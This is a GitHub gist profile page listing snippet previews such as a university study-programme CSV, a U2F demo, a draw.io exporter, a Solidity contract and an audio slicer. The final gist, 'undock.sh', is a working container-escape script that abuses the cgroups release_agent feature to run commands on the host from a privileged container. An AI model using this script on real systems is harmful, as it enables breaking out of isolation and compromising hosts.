Skip to content

Instantly share code, notes, and snippets.

View stefan2904's full-sized avatar
🚲
¯\_(ツ)_/¯

Stefan stefan2904

🚲
¯\_(ツ)_/¯
View GitHub Profile
@stefan2904
stefan2904 / studies.csv
Last active May 20, 2021 14:03
TU Graz Study Programme
study programme number study programme name study programme type
221 Geodesy Bachelor programme
211 Information and Computer Engineering Bachelor programme
243 Architecture Bachelor programme
253 Biomedical Engineering Bachelor programme
273 Chemical and Process Engineering Bachelor programme
662 Chemistry Bachelor programme
264 Civil Engineering Sciences and Construction Management Bachelor programme
521 Computer Science Bachelor programme
235 Electrical Engineering Bachelor programme
@stefan2904
stefan2904 / u2f_demo.py
Created January 18, 2021 14:37
U2F Host Demo (in Python)
from u2flib_host import u2f, exc
from u2flib_host.utils import websafe_encode, websafe_decode
from u2flib_host.register import register
from u2flib_host.authenticate import authenticate
import json
import struct
import base64
# Using https://github.com/Yubico/python-u2flib-host
# See also: https://webauthn.guide/#webauthn-api
@stefan2904
stefan2904 / export.sh
Last active October 23, 2020 13:30
draw.io / diagrams.net batch exporter
#!/bin/bash
# Get desktop-app (which includes CLI) from http://get.diagrams.net
NUM_PAGES=4
DRAWIO_FILE="cdn-setup1"
#set -o xtrace
for ((page=0; page<NUM_PAGES; page++))
@stefan2904
stefan2904 / VerrStorage.sol
Last active August 11, 2020 12:53
Some demo Smart Contract (deploy via https://remix.ethereum.org)
pragma solidity >=0.4.22 <0.7.0;
/**
* @title VerrStorage
* @dev Store & retreive value in a variable
*/
contract VerrStorage {
address payable public owner = msg.sender;
uint public creationTime = block.timestamp;
@stefan2904
stefan2904 / .i3blocks.conf
Last active March 27, 2020 22:17
i3-gnome-pomodoro snippet for i3blocks
[pomodoro]
command=~/.i3/i3blocks/pomodoro.sh $BLOCK_BUTTON
interval=1
@stefan2904
stefan2904 / audioSlicer.sh
Last active March 25, 2020 21:06
Splitting an audio file into chunks of a specified length
#!/bin/bash
# sudo apt install zenity ffmpeg
error() {
zenity --error --text "Fehler: $1" --title "Fehler" --ellipsize
exit
}
package main
import "fmt"
func testLE() {
teststring1 := "Test1"
var testint1 int64 = 111
a1 := authzModel{
ID: testint1,
IdentifierValue: teststring1,

normal list

  • item
  • another item

todo list

  • already done
  • do something
@stefan2904
stefan2904 / undock.sh
Created July 17, 2019 13:48
Quick and dirty way to get out of a privileged k8s pod or docker container by using cgroups release_agent feature, via https://twitter.com/_fel1x/status/1151487051986087936
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w
echo 1 > $d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o
echo $t/c >$d/release_agent
echo "#!/bin/sh $1 >$t/o" >/c
chmod +x /c
sh -c "echo 0 >$d/w/cgroup.procs"
sleep 1